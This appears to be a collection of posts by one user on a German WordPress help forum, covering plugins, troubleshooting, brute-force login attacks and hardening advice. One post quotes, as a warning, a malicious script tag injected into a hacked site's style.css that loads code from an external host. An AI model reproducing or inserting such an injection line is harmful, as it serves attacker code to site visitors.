Beiträge von hedu

Hallo Forum,

kann mir jemand ein oder mehrere Plugins nennen, mit deren Hilfe man (kostenlose) Downloads anbieten kann, der Nutzer/die Nutzerin müsste aber vorher Name, Mailadresse hergeben? Also idealerweise wird dann eine Mail versendet, und erst in der Mail befindet sich der Download-Link.

Vielen Dank im voraus,
Heinz

Nein, es gibt noch mehr Sicherheitsvorkehrungen.

http://www.exploit-db.com/ ist aber kein Dienstleister?

BackWPup habe ich Version 2.1.11 (aktuelle Version), wie alle anderen Plugins auch in neuster Version laufen.

Die Simple Hooks werde ich rauswerfen und alles, was ich dort nutze, direkt in functions.php eintragen.

WP-Cycle (ein Slideshow-Plugin) werde ich auch rauswerfen.

WPtouch Pro ist ein Problem, das will der Kunde unbedingt.

Ja, und dann alles neu installieren, seufz.

Ach über timthumb sind wir längst hinaus :-) . Nee, das war's nicht.

Ich habe mal WP Clean-Fix deaktiviert, aber im Grunde verwenden wir nur weit verbreitete Plugins. Das Basis Framework ist Genesis von Studiopress.

Das sind die Plugins:
Ambrosite Next/Previous Post Link Plus
Antispam Bee
BackWPup
Custom Post Type UI
Genesis Featured Widget Amplified
Genesis Simple Hooks
Google XML Sitemaps
Gravity Forms
Hotfix
Limit Login Attempts
MCE Table Buttons
Redirection
Secure WordPress
WordPress Database Backup
WP-CleanUmlauts2
WP-Cycle
wp-jquery-lightbox
WP CleanFix
wpCompressor
WPtouch Pro

Das Thema stammt auch von Studiopress und ist ein Child Theme deren Frameworks. Sonst gibt's nur noch das Twenty Eleven am Server (als Fallback Theme).

Die Dateirechte sind auch kein offenes Scheunentor (also nicht 777).

Wie gesagt, es ist mir ein Rätsel. Natürlich kann der Typ auch über den Server eingebrochen sein. Aber der ISP hat an sich einen sehr guten Ruf.

Hallo,

heute ist es jemandem gelungen, als erste Zeile in style.css das hier einzutragen (Nicht klicken!):

<script type="text/javascript" src="http://asjo.com.br/js/Check.php"></script>

Wir benutzen dabei relativ wenige Plugins (und auch nur bekannte), alles ist auf aktuellem Stand.

Ich bin daher momentan etwas ratlos, wie ich einen neuerlichen Eintrag verhindern kann.

Tolle Arbeit, zyklopen, ich kann das schon brauchen. Mir sind die Rollenspiele bei den existierenden Plugins auch zu aufwändig. Da kommt Deine Arbeit sehr gut.

Gute Info, wusste nichts davon bis jetzt. Danke.

Also ich stehe dazu. Es ist einfach ein Hebel weniger, an dem angesetzt werden kann. Natürlich wäre ein 24 Zeichen Passwort ja noch sicherer als eins mit 12 Zeichen, aber das wird langsam unrealistisch. Merksatz hin oder her.

Mit einem Plugin wie wp-members kann der User sein Passwort auch ohne Zugang zu wp-admin ändern. Siehe meinen Artikel dazu.

Für solche "Member"-Situationen gibt es natürlich mehrere Plugins.

Oder mit Plugins:

• Admin menu editor
• Adminimize.

Schaut mal mit FTP am Server nach, ob Ihr ein solches Plugin findet.
Bzw. schaut in functions.php rein.

Vermutlich seid Ihr nur Redakteure (?), oder er hat in functions.php Euren Usern ein paar Rechte weggenommen.

Zitat von Hille

Das nennt man "Grundrauschen" und geschieht meistens automatisiert. Nicht weiter tragisch, wenn man u.a. die von dir erwähnten Regeln einhält.

Hmm, scheint diesmal aber doch heftiger als sonst zu sein. Aber wie auch immer. Der Beitrag ist ja nicht gedacht zum mitleidserregenden Jammern, sondern um wieder einmal auf ein paar Basis-Sicherheitsmaßnahmen aufmerksam zu machen.

Meine Websites sind gerade unter recht heftiger brute-force attack von mehreren Server (Litauen, Polen, etc.). Die Hacker versuchen über den User "admin" einzubrechen.

Um Euch dagegen zu wappnen, empfehle ich zumindest einige Tipps aus diesen Artikeln umzusetzen:

http://www.pixelbar.be/blog/1-tipps-z…press-websites/
http://www.ewerkzeug.info/wordpress/schu…s-installation/

Und auf Englisch:
http://www.wpbeginner.com/wp-tutorials/1…ess-admin-area/
http://blog.unmaskparasites.com/2012/05/18/car…s-for-spammers/
http://codex.wordpress.org/Hardening_WordPress

Aber auf jeden Fall den User "admin" völlig zu entfernen.

Die Angriffe sind nicht schwerwiegend (zumindest vorläufig), da die getesteten Passworte sehr schwach sind (http://blog.sucuri.net/2012/03/brute-…ress-sites.html). Ihr werdet doch nicht etwa ... ? ;-)

CF7 ist für Nicht-HTML-Auskenner nicht einfach. Und selbst wenn man sich auskennt, kann man leicht Flüchtigkeitsfehler machen.

Überleg' Dir, ob Du nicht ein bissel Geld für das kommerzielle Plugin Gravity Forms (http://www.gravityforms.com/) ausgeben willst, da stellst Du Formulare ganz einfach zusammen, und hast auch eine Liste der Einträge dabei. Mir war's das Geld wert, auch wenn ich HTML-Auskenner bin.

Startdatei?

Wäre schön, wenn Du auch sagst, wie es sich erledigt hat.

Im obersten Verzeichnis frischer World4You-Websites liegt erst einmal eine Datei index.html. Wenn man später mal Wordpress nachinstalliert (per Easy Install), dann wird diese Datei deswegen noch nicht einfach gelöscht, auch nicht, wenn man Wordpress eh ins oberste Verzeichnis installieren lässt.

Dem Browser wird aber immer erst mal index.html zugeführt, nicht aber index.php (das von Wordpress kommt). Daher muss man mit FTP (oder Web-FTP, das World4You auch anbietet) die Datei index.html löschen oder umbenennen.

Und der Browser-Cache kann auch noch hartnäckig den Inhalt von index.html anzeigen, selbst wenn diese Datei längst nicht mehr existiert. Da braucht's dann ein "hartes" Refresh/Reload der Seite.

Das scheint ein Facebook bug zu sein.

https://developers.facebook.com/bugs/286579504759519
https://developers.facebook.com/bugs/277518325657244

Und benutze mal das Werkzeug hier für einen Artikel, damit FB dessen Infos neu einliest:
https://developers.facebook.com/tools/debug

Vielleicht hilft das.

Es gibt Plugins, wie z.B. das Featured Page Widget (http://wordpress.org/extend/plugins/featured-page-widget/), die lassen Seiten-Teaser in Widget-Bereichen erstellen.

Und mit sowas wie "Widgets on Pages" (http://wordpress.org/extend/plugins/widgets-on-pages/) kannst Du dann diese Teaser auch in Seiten reinstellen.
Alternativ schaffst Du Dir zusätzliche Widget-Bereiche in Deinem Seiten-Template an, damit Du dort dann solche Teaser-Widgets benutzen kannst.

Für beide Zwecke gibt's ein paar Plugins.

Dein Server hat vermutlich gewisse grafische PHP Bibliotheken nicht installiert. Konkret wären das: ImageMagick & GD Library (php-gd)

Kann auch sein, dass das Bild zu klein ist. Es sollte mindestens die Dimensionen des aktuellen header-Bilds haben.

Probier's mit dem Plugin hier: http://wordpress.org/extend/plugins…length-limiter/

Wieder einmal:

Plugins der Reihe nach deaktivieren und immer wieder Login probieren.

Anderes Thema (Twenty Eleven) aktivieren, und Login probieren.

Happy Fehlersuche!